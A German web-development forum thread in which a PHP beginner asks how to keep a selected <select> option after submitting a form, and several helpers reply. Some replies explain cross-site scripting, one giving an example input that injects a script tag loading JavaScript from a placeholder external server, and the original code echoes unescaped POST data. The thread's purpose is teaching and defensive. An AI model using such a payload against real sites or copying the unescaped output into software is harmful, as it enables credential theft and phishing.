Karl Hinzer: select selected

Hallo, wer hat bitte ein Lösung für mein Problem mit diesem Programm:

Auswählen
<form action = "Bearbeiten2.php" method = "post">
  <select size=5 name=year>
         <option value=2002>2002</option>
         <option value=2003>2003</option>
         <option value=2004>2004</option>
         <option value=2005>2005</option>
         <option value=2006>2006</option>
         </select><br><br>
         <input type="submit" value="submit"><br><br><br>
( testanzeige : <INPUT class="inputField" name="" value="<?PHP $year = $_POST['year'];echo $year;?>"> )
</form>

Es wird z.B. 2004 markiert und dann mit Button submit angefordert.
Da nun aber mit dem submit die Markierung 2004 wieder verschwindet, muss ich jedes mal vor dem nächsten submit, 2004 neu markieren, obwohl ich möglicherweise weitere submit Aktionen im Bereich 2004 durchführen möchte.
Ich kann natürlich <option selected value=2004>2004</option> einfügen, aber nicht der Programmierer, sondern der Anwender soll auswählen...

Wie kann ich erreichen, dass die Markierung (z.B. 2004) nicht mit dem submit verschwindet bis der Anwender eine neue Auswahl getroffen hat?

(Die "testanzeige" ist nicht Bestandteil des eigentlichen Programms.)

Ich freu mich auf eure Tipps - Danke und Gruß, Kalle

  1. Hallo Kalle,

    Also im Script Bearbeiten2.php baust Du wieder ein SELECT-Item auf und 2004 soll selektiert sein?

    Viele Grüße,

    Stefan

    1. Hallo Kalle,

      Also im Script Bearbeiten2.php baust Du wieder ein SELECT-Item auf und 2004 soll selektiert sein?

      Viele Grüße,

      Stefan

      Hallo Stefan,
      erst mal vielen Dank für deine umgehende Unterstützung!
      Das Projekt besteht z.Zt. nur aus diesem einen Script: Bearbeiten2.php
      Wie und wo kann ich dieses SELECT-Item hier einbauen.
      Danke und freundliche Grüße von Kalle

      1. Hallo Kalle,

        Du fragst den Inhalt von $_POST['year'] ab und baust Dir davon abhängig das SELECT-Item mit einer Schleife zusammen. Z.B. in der Art:

          
        <form action = "Bearbeiten2.php" method = "post">  
          <select size=5 name=year>  
        
        
          
        <?php  
        $year = (int) $_POST['year'];  
        $options = '';  
          
        for($i=2002; $i<=2005; $i++) {  
           if($year == $i) {  
              $options .= "<option value=$i select=\"selected\">$i</option>\n";  
           } else {  
              $options .= "<option value=$i>$i</option>\n";  
           }  
        }  
        echo $options;  
        ?>  
        
        
          
        </select><br><br>  
        ...  
        
        

        Viele Grüße,

        Stefan

        1. Hallo Stefan,
          leider klemmt es noch - die Markierung verschwindet mit dem submit.

          Apache/2.0.50(Win32)
          PHP Version 5.2.0
          Browser IE7

          Ich bin ein PHP-Anfänger und "noch nicht :-)" so fit, hoffentlich habe ich deine Zeilen richtig eingebaut...!?

          Danke für Deine Geduld! Gruß, Kalle

          Bearbeiten2.php :

          Auswählen
          <form action = "Bearbeiten2.php" method = "post">
           <select size=5 name=year>
                  <<?php $year = (int) $_POST['year'];
             $options = '';
             for($i=2002; $i<=2006; $i++) {
              if($year == $i) {
              $options .= "<option value=$i select="selected">$i</option>\n";
                } else {
                 $options .= "<option value=$i>$i</option>\n";
                }
            }
            echo $options;
            ?>>
           </select><br><br>
           <input type="submit" value="submit"><br><br><br>

          ( testanzeige : <INPUT class="inputField" name="" value="<?PHP $year = $_POST['year'];echo $year;?>"> )
          </form>

          1. hi,

            <select size=5 name=year>
                    <<?php $year = (int) $_POST['year'];
                      ...
              ?>>
            </select><br><br>

            Was sollen sie spizen Klammern vor und nach dem PHP-Bereich hier?

            Da du dazwischen komplette <option>-Elemente erzeugst, kommt da nachher sowas bei raus:

            <select>
              <<option>
              <option>
              <option>
              <option>>
            </select>

            Dass das kein gültiges HTML ist, liegt wohl auf der Hand.

            Darüber hinaus hat Peter dir auch noch ein paar gute Hinweise gegeben, die du aber bisher offenbar ignoriert hast.

            gruß,
            wahsaga

            --
            /voodoo.css:
            #GeorgeWBush { position:absolute; bottom:-6ft; }
            1. Hallo wahsaga, auch wenn ich jeweils eine spitze Klammer entferne, funktioniert es nicht. <?PHP .... ?>

              Mit Peters Hinweise beschäftige ich mich erst später.

              Da sich Stefan schon in mein Problem vertieft hat ist es möglicherweise sinnvoll, auf seine Erfahrungen aufzubauen..., oder wie läuft das in eurem hoch geschätzten Forum?

              Gruß, Kalle

              1. hi,

                Mit Peters Hinweise beschäftige ich mich erst später.

                Warum?

                Da sich Stefan schon in mein Problem vertieft hat

                Viel "Vertiefen" ist da eigentlich nicht nötig - Peter dürfte schon genauso "tief drinstecken", wie Stefan oder ich auch.
                Dein Vorhaben ist eigentlich ein absolutes Standard-Problem.

                ist es möglicherweise sinnvoll, auf seine Erfahrungen aufzubauen..., oder wie läuft das in eurem hoch geschätzten Forum?

                Wir geben Tipps, du setzt sie um.

                gruß,
                wahsaga

                --
                /voodoo.css:
                #GeorgeWBush { position:absolute; bottom:-6ft; }
              2. Hallo wahsaga, auch wenn ich jeweils eine spitze Klammer entferne, funktioniert es nicht. <?PHP .... ?>

                Mit Peters Hinweise beschäftige ich mich erst später.

                Dass du meine Hilfe nicht willst, habe ich schon verstanden - ansonsten hättest du mindestens mal direkt auf mich reagiert mit "Danke, probiere ich später".

                Da sich Stefan schon in mein Problem vertieft hat ist es möglicherweise sinnvoll, auf seine Erfahrungen aufzubauen..., oder wie läuft das in eurem hoch geschätzten Forum?

                Wie wahsaga es schon sagte: Du hast ein Standardproblem, und ich präsentierte dir die Standardlösung.

  2. Auswählen
    <form action = "Bearbeiten2.php" method = "post">
      <select size=5 name=year>
             <option value=2002>2002</option>
             <option value=2003>2003</option>
             <option value=2004>2004</option>
             <option value=2005>2005</option>
             <option value=2006>2006</option>
             </select><br><br>
             <input type="submit" value="submit"><br><br><br>
    ( testanzeige : <INPUT class="inputField" name="" value="<?PHP $year = $_POST['year'];echo $year;?>"> )
    </form>

    Ich kann natürlich <option selected value=2004>2004</option> einfügen, aber nicht der Programmierer, sondern der Anwender soll auswählen...

    Dann mach es mit PHP. Prüfe für jede <option>, ob der aktuell gesendete Wert in $_POST identisch ist mit dem value-Attribut des <option>. Nur in diesem Fall setzte das Attribut selected in den HTML-Quelltext ein.

    Ja, das ist aufwendiger, als einfach in ein <input type=text> den bereits eingegebenen Text wieder erscheinen zu lassen. Aber so ist das Leben. Wenn du mehr als ein <select> in deinem Formular hast, schreibst du dir schlauerweise eine Funktion, die dir die meiste Arbeit abnimmt: Du übergibst ihr ein Array mit auswählbaren Werten, den derzeit ausgewählten Wert, sowie den Namen des <select> und kriegst als Rückgabe beispielsweise den passend zusammengebauten HTML-Quelltext.

    Ach ja:

    testanzeige : <INPUT class="inputField" name="" value="<?PHP $year = $_POST['year'];echo $year;?>">

    Warum zum Teufel kopierst du hier erstmal den Wert in $year? Gewöhn dir das ab! Kostet erstens Speicherplatz, der nicht unendlich ist, und verschleiert zweitens die Herkunft des Wertes. Denn man kann als böser Angreifer nicht nur die Werte senden, die du in deinem Formular vorgegeben hast, sondern prinzipiell jeglichen Stringwert. Deshalb ist es eine gute Sache, solche Stringwerte solange in $_POST, $_GET oder auch $_COOKIE zu behalten, bis man sie am Zielort tatsächlich verwenden und dann auch passend escapen tut.

    Denn dein "echo $year;" muß heißen "echo htmlspecialchars($year);", ansonsten bist du für Cross-Site-Scripting anfällig.

    1. Hi,

      warum soll er beim echo einer Variable für Cross-Site Scriptiong anfällig sein?

      Wird z.B. eine Attacke in Form von
      "a"; boese_Attacke;
      dann wird halt eben dieser Text ausgegeben und nicht boese_Attacke ausgeführt.

      Das escapen ist hauptsächlich für Datenbank-Aktionen und für auszuführende Variablen notwendig (eval)

      grieß

      1. Moin!

        warum soll er beim echo einer Variable für Cross-Site Scriptiong anfällig sein?

        Angenommen, folgender Code existiert (eingebettet in ein passendes Formular):

          
        <?php  
          
        echo "<input type='text' name='feld' value='".$_GET['feld']."'>";  
          
        ?>  
        
        

        Erstelle dir einfach im Geiste, oder real, den daraus resultierenden HTML-Code für folgende Stringeingabe:

          
        '><script src='http://externer-server/boeses.js'></script><hr size='2  
        
        

        Wird z.B. eine Attacke in Form von
        "a"; boese_Attacke;
        dann wird halt eben dieser Text ausgegeben und nicht boese_Attacke ausgeführt.

        Klar, aber HTML-aktive Zeichen werden "ausgeführt" - vom Browser. Und damit lassen sich Javascripte einbinden. Und diese Javascripte führen dann im Kontext der Seite Dinge aus, die man eventuell nicht will, weil sie die Anmeldedaten des Users klauen, oder die Seiteinhalte manipulieren, oder alle Links auf andere Server umbiegen etc.

        Das escapen ist hauptsächlich für Datenbank-Aktionen und für auszuführende Variablen notwendig (eval)

        Du irrst. Gerade das fehlerhafte Escapen von wieder ausgegebenen HTML-Inhalten führt dazu, dass beispielsweise bis vor kurzem noch sehr viele Bankseiten für Cross-Site-Scripting anfällig waren. Man konnte mit einem präparierten Link eigenen Code in die ansonsten vollkommen echte Bankseite einfügen und dadurch Phishing betreiben. Reicht ja schon aus, wenn die URL des Login-Formulars (das, wo man Bank-ID und PIN eingibt) auf einen anderen SSL-zertifizierten Server geändert wird. Der Browser wird nicht meckern, dass die sichere Verbindung verlassen wird - aber die Daten landen in falschen Händen.

        Ja klar, wenn man als User keine präparierten Links klickt, ist man davor geschützt - aber darauf kommt es nicht an, mit der Dummheit der Benutzer muß man immer rechnen.

        - Sven Rautenberg

        --
        "Love your nation - respect the others."